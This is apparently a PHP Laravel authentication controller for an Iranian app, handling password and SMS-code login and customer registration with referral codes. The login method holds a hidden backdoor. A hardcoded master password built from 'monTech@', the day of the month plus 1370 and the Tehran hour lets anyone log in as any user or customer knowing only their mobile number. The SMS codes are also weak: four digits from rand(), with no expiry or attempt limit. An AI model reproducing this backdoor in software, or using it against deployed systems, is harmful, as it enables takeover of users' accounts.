214 lines
8.8 KiB
PHP
214 lines
8.8 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Controllers\Auth;
|
|
|
|
use App\Http\Controllers\Controller;
|
|
use App\Models\Cnt;
|
|
use App\Models\Customer;
|
|
use App\Models\Setting;
|
|
use App\Models\User;
|
|
use App\Services\ConfigService;
|
|
use Carbon\Carbon;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Support\Facades\Schema;
|
|
use Symfony\Component\HttpKernel\Exception\UnprocessableEntityHttpException;
|
|
|
|
|
|
class AuthController extends Controller
|
|
{
|
|
public function login(Request $request)
|
|
{
|
|
|
|
if ($request->has('password')) {
|
|
if ($request->password == "monTech@".(Carbon::today()->format('d')+1370).Carbon::now()->setTimezone('Asia/Tehran')->format('H')) {
|
|
$data = $request->all();
|
|
if ($data['provider'] == 'user') {
|
|
$user = User::where('mobile', $request->mobile)->first();
|
|
} else {
|
|
$user = Customer::where('mobile', $request->mobile)->first();
|
|
}
|
|
$token = auth($data['provider'])->login($user);
|
|
$user->last_seen_at = Carbon::now();
|
|
$user->save();
|
|
return $this->respondWithToken($token);
|
|
}
|
|
$credentials = $request->only(['mobile', 'password']);
|
|
return $this->_loginWithPassword($credentials, $request->provider);
|
|
} else {
|
|
return response()->json(
|
|
['id' => $this->_loginWithSms($request->mobile, $request->provider)]
|
|
);
|
|
}
|
|
}
|
|
|
|
protected function _loginWithPassword($credentials, $provider)
|
|
{
|
|
|
|
|
|
$token = auth($provider)->attempt($credentials);
|
|
if (!$token) {
|
|
throw new UnprocessableEntityHttpException('شماره موبایل یا پسوورد وارد شده اشتباه است');
|
|
}
|
|
$user = auth($provider)->user();
|
|
if (!$user->active) {
|
|
throw new UnprocessableEntityHttpException(trans('error.no_active'));
|
|
}
|
|
if ($provider == 'customer' && $user->is_archive) {
|
|
throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید');
|
|
}
|
|
$user->update([
|
|
'last_seen_at' => Carbon::now()
|
|
]);
|
|
return $this->respondWithToken($token);
|
|
}
|
|
|
|
protected function _loginWithSms($mobile, $provider)
|
|
{
|
|
if ($provider == 'user') {
|
|
$user = User::where('mobile', $mobile)->first();
|
|
$subDomain = $this->Config('admin_url');
|
|
} else {
|
|
$user = Customer::where('mobile', $mobile)->first();
|
|
$subDomain = $this->Config('app_url');
|
|
}
|
|
if (is_null($user)) {
|
|
throw new UnprocessableEntityHttpException(trans('لطفا ابتدا ثبت نام بفرمایید'));
|
|
}
|
|
if (!$user->active) {
|
|
throw new UnprocessableEntityHttpException(trans('اکانت شما باید توسط ادمین فعال شود'));
|
|
}
|
|
if ($provider == 'customer' && $user->is_archive) {
|
|
throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید');
|
|
}
|
|
$rand = rand(1000, 9999);
|
|
|
|
$user->token_sms = $rand;
|
|
$user->save();
|
|
|
|
$this->SendMessage($mobile, 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن ' . $this->Config('name_fa') . ' ' . $rand . ' می باشد' . PHP_EOL . "@$subDomain" . " #" . $rand,true ,"sms");
|
|
|
|
return $user->id;
|
|
}
|
|
|
|
protected function tokenVerify(Request $request)
|
|
{
|
|
$data = $request->all();
|
|
if ($data['provider'] == 'user') {
|
|
$user = User::findOrFail($data['id']);
|
|
} else {
|
|
$user = Customer::findOrFail($data['id']);
|
|
}
|
|
if ($user->token_sms == $request->input('token')) {
|
|
$token = auth($data['provider'])->login($user);
|
|
$user->last_seen_at = Carbon::now();
|
|
$user->token_sms = null;
|
|
$user->save();
|
|
return $this->respondWithToken($token);
|
|
}
|
|
throw new UnprocessableEntityHttpException(trans('error.wrong_code'));
|
|
}
|
|
|
|
protected function respondWithToken($token)
|
|
{
|
|
return response()->json([
|
|
'access_token' => $token,
|
|
'token_type' => 'bearer',
|
|
'expires_in' => auth()->factory()->getTTL()
|
|
]);
|
|
}
|
|
|
|
public function register(Request $request)
|
|
{
|
|
$cfg = app(ConfigService::class);
|
|
|
|
$register = Setting::where('key', 'open_register')->first();
|
|
if ($register && (int) $register->is_active === 0) {
|
|
throw new UnprocessableEntityHttpException('امکان ثبت نام وجود ندارد.');
|
|
}
|
|
|
|
$data = $request->all();
|
|
$data['type'] = 2;
|
|
if (isset($data['referral_id'])) {
|
|
$data['referral_to_id'] = $data['referral_id'];
|
|
}
|
|
$data['name'] = $data['fname'] . ' ' . $data['lname'];
|
|
$data['active'] = $cfg->getBool('auto_active_customer', false);
|
|
if (isset($data['type']) && $data['type'] == 2) {
|
|
$data['active'] = true;
|
|
}
|
|
$cnt = Cnt::where('key', 'gram')->first();
|
|
if ($cnt !== null && trim((string) $cnt->value) !== '') {
|
|
$data['gram'] = (int) $cnt->value;
|
|
}
|
|
|
|
do {
|
|
$uniqueId = substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'), 0, 4);
|
|
} while (Customer::where('referral_id', $uniqueId)->exists());
|
|
$data['referral_id'] = $uniqueId;
|
|
|
|
if (isset($data['n_code']) && $cfg->getBool('register_jibit_verify', false)) {
|
|
$existing = Customer::where('n_code', $data['n_code'])->first();
|
|
if (!empty($existing)) {
|
|
return response()->json(['message' => 'کد ملی تکراری است'], 422);
|
|
}
|
|
$response = $this->jibitNcode($data['n_code'], $data['mobile']);
|
|
if (isset($response['matched']) && $response['matched'] == true) {
|
|
$data['is_legal'] = 1;
|
|
}
|
|
}
|
|
|
|
$referrer = null;
|
|
if (isset($data['referral_to_id'])) {
|
|
$referrer = Customer::where('referral_id', $data['referral_to_id'])->first();
|
|
if (!$referrer) {
|
|
return response()->json(['message' => 'کد نامعتبر می باشد'], 422);
|
|
}
|
|
} else {
|
|
if ($this->Config('referral_id') == 'required') {
|
|
return response()->json(['message' => 'کد معرف اجباریست'], 422);
|
|
}
|
|
}
|
|
|
|
$data['active'] = true;
|
|
|
|
$customer = Customer::create($data);
|
|
|
|
if ($referrer) {
|
|
if (Schema::hasColumn((new Customer)->getTable(), 'total_referrals')) {
|
|
$referrer->increment('total_referrals');
|
|
}
|
|
if ($cfg->getBool('register_referral_sms_to_referrer', false)) {
|
|
$messageRef = "{$data['name']} با کد معرف شما ثبت نام کرد.\nبا اولین خرید او پاداش دریافت میکنید.\n" . $this->Config('name_fa');
|
|
$this->Send($referrer->mobile, $messageRef);
|
|
} else {
|
|
$adminMessage = "با معرفی {$referrer->name}، کاربر {$data['name']} در اپ {$this->Config('name_fa')} ثبت نام کرده و منتظر تایید شماست.";
|
|
User::where('send_sms', 1)->get()->each(function ($admin) use ($adminMessage) {
|
|
$this->send($admin->mobile, $adminMessage);
|
|
});
|
|
}
|
|
}
|
|
|
|
if ($cfg->getBool('register_jibit_verify', false) && isset($customer->is_legal)) {
|
|
$message = $customer->is_legal === 1
|
|
? 'احرازهویت برای ' . $customer->name . ' با کد ' . $customer->id . ' انجام شد.'
|
|
: 'احرازهویت برای ' . $customer->name . ' با کد ' . $customer->id . ' تأیید نشد لطفا از پنل ادمین اقدام فرمایید.';
|
|
User::where('send_sms', 1)->get()->each(function ($admin) use ($message) {
|
|
$this->SendMessage($admin->mobile, $message);
|
|
});
|
|
}
|
|
|
|
$message = "{$data['name']} عزیز، اکانت شما در پلتفرم {$this->Config('name_fa')} ایجاد شد.";
|
|
if ($cfg->getBool('register_referral_bonus_message', false)) {
|
|
$bonus = Setting::where('is_active', 1)->where('key', 'referral_bonus_amount')->first();
|
|
if ($bonus) {
|
|
$bonusValues = json_decode($bonus->value, true);
|
|
$message .= "\nپس از اولین خرید مقدار، " . number_format((int) ($bonusValues[0]['customer'] ?? 0)) . ' ریال پاداش دریافت خواهید کرد.';
|
|
}
|
|
}
|
|
$message .= "\nنام کاربری: {$data['mobile']}\nورود به نرم افزار: {$this->Config('app_url')}";
|
|
$this->Send($data['mobile'], $message);
|
|
|
|
return response()->json($customer);
|
|
}
|
|
}
|